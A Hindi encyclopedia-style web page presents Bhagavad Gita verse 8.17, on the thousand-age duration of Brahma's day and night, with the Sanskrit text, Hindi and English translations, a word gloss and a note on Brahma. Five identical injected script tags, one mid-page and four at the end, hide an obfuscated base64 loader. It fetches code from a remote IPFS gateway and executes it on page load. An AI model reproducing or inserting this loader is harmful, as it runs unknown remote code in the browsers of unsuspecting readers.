गीता 8:17

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

गीता अध्याय-8 श्लोक-17 / Gita Chapter-8 Verse-17

प्रसंग-


ब्रह्मलोक पर्यन्त सब लोकों को पुनरावर्ती बतलाया, परंतु वे पुनरावर्ती कैसे हैं- इस जिज्ञासा पर अब भगवान् ब्रह्मा के दिन-रात की अवधि का वर्णन करके सब लोकों की अनित्यता सिद्ध करते हैं-


सहस्त्रयुगपर्यन्तमहर्यद्ब्रह्राणो विदु: ।
रात्रिं युगसहस्त्रान्तां तेऽहोरात्रविदो जना: ।।17।।



ब्रह्मा[1] का जो एक दिन है, उसको एक हज़ार चतुर्युगी तक की अवधि वाला और रात्रि को भी एक हज़ार चतुर्युगी तक की अवधि वाली जो पुरुष तत्त्व से जानते हैं, वे योगीजन काल के तत्त्व को जानने वाले हैं ।।17।।

By human calculation, a thousand ages taken together is the duration of Brahma's one day. And such also is the duration of his night.(17)


ब्रह्मण: = ब्रह्मा का ; यत् = जो ; अह: = एक दिन है (उसको) ; सहस्त्रयुगपर्यन्तम् = हज़ार चौकडी युगतक अवधिवाला (और) ; जना: = योगीजन ; रात्रिम् = रात्रि को (भी) ; युगसहस्त्रान्ताम् = हज़ार चौकडी युगतक अवधिवाली ; (ये) = जो पुरुष ; विदु: = तत्त्व से जानते हैं ; ते = वे ; अहोरात्रविद: = काल के तत्त्व को जानने वाले हैं



अध्याय आठ श्लोक संख्या
Verses- Chapter-8

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12, 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28

अध्याय / Chapter:
एक (1) | दो (2) | तीन (3) | चार (4) | पाँच (5) | छ: (6) | सात (7) | आठ (8) | नौ (9) | दस (10) | ग्यारह (11) | बारह (12) | तेरह (13) | चौदह (14) | पन्द्रह (15) | सोलह (16) | सत्रह (17) | अठारह (18)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. सर्वश्रेष्ठ पौराणिक त्रिदेवों में ब्रह्मा, विष्णु एवं शिव की गणना होती है। इनमें ब्रह्मा का नाम पहले आता है, क्योंकि वे विश्व के आद्य स्रष्टा, प्रजापति, पितामह तथा हिरण्यगर्भ हैं।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>